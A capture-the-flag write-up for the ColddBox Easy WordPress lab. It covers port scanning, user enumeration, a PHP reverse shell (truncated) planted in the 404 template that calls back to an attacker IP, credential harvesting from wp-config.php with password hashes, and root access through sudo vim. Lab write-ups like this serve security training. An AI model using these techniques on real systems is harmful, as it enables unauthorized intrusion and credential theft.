

RUSTSCAN

```
PORT      STATE SERVICE REASON          VERSION
80/tcp    open  http    syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: ColddBox | One more machine
|_ http-generator: WordPress 4.1.31
|_ http-server-header: Apache/2.4.18 (Ubuntu)

4512/tcp  open  ssh      syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu
Linux; protocol 2.0)
| ssh-hostkey:
|_ 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
| ssh-rsa
|_ AAAAB3NzaC1yc2EAAAADAQABAAQDngxJmUFBAeIIiJZkorYEp5ImIX0S00FtRVgperpxbcxDAos-
qlrJ6DhWxJyyGo3M+Fx2koAgzkE2d4f2DTGB8sY1NJP1sY0eNphh8c55Psw3Rq4xytY5u1abq6su2a1
Dp15zE7kGuR0aq2qFot8iGYBVLMPFB/
BRmwBk07zrn8nKPa3yotvuJpERZVKKiSQRLBW87nkPhPzNv5hdRUUFvImigYb4hXTyUveipQ/
oji5rIxdHMNKiWwrV0864RekaVPdwnSIfEtVevj1XU/
RmG4miIbsy2A7jRU034J8NEI7akDB+lZmdn0IFkfX+qcHKxsoahesXziWw9uBospyhB
|_ 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_ ecdsa-sha2-nistp256
|_ AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKNmVtaTpgUhzxZL3VKgWKq6TD-
NebAFSbQNy5QxllUb4Gg6URGSWnB0uIzfMAoJPWz0hbRHAHfGCqaAryf81+Z8=
|_ 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
|_ _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE/fNq/6XnAxR13/jP
```

Users&Passes
c0lld:9876543210

Port 80 (HTTP)

```
PORT
80/tcp    open  http    syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: ColddBox | One more machine
|_ http-generator: WordPress 4.1.31
|_ http-server-header: Apache/2.4.18 (Ubuntu)
```

Landing page

ColddBox

One more machine

RECENT POSTS

The ColddBox is here

RECENT COMMENTS

Sr Hott on The ColddBox is here

ARCHIVES

October 2020

The ColddBox is here

Welcome to ColddBox, a machine designed by Cold, it is a very simple machine to solve with several ways to escalate privileges, which serves to reinforce concepts, without further ado, good luck and enjoy!

📅 12 October, 2020 💬 1 Comment

Proudly powered by [WordPress](#)

CMS is wordpress

WordpressScan



Users found by wpscan

```
[i] User(s) Identified:

[+] the cold in person
    | Found By: Rss Generator (Passive Detection)

[+] hugo
    | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    | Confirmed By: Login Error Messages (Aggressive Detection)

[+] philip
    | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    | Confirmed By: Login Error Messages (Aggressive Detection)

[+] c0ldd
    | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    | Confirmed By: Login Error Messages (Aggressive Detection)
```

c0lld:9876543210

c0lld was admin

Edited the 404 template then caused a 404 to get shell



```
Twenty Fifteen: 404 Template (404.php)
Select theme to edit: Twenty Fifteen
Templates
404 Template (404.php)
Archives (archive.php)
author-bio.php
Comments (comments.php)
content-link.php
content-none.php
content-page.php
content-search.php
content.php
Footer (footer.php)
Theme Functions (functions.php)
Header (header.php)
Image Attachment Template (image.php)
back-compat.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.216';
$port = 1337;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0); // Parent exits
    }

    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
}
```

```
www-data@ColddBox-Easy:/var/www/html$ id && whoami
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
www-data@ColddBox-Easy:/var/www/html$
```

PrivEsc

Found user c0ldd's password in the wp-config.php file

```
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddb');

/** MySQL database username */
define('DB_USER', 'c0ldd');

/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');
```

c0ldd :\$P\$Bjs9aAEh2WaBXC2zFhhoBrDUmN1g0i1 (cybersecurity)

hugo :\$P\$B2512D1ABvEkkcFZ5lLilbqYFT1pIC/

philip :\$P\$BXZ9bXCbA1JQuaCqOuuliY4vyzjK/Y.

Saw user c0ldd can run vim as root

```
c0ldd@ColddBox-Easy:/var/www/html$ sudo -l
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
  (root) /usr/bin/vim
  (root) /bin/chmod
  (root) /usr/bin/ftp
c0ldd@ColddBox-Easy:/var/www/html$
```

```
~
~
~
~
:!/bin/bash
```

```
root@ColddbBox-Easy:/var/www/html# id
uid=0(root) gid=0(root) grupos=0(root)
root@ColddbBox-Easy:/var/www/html# █
```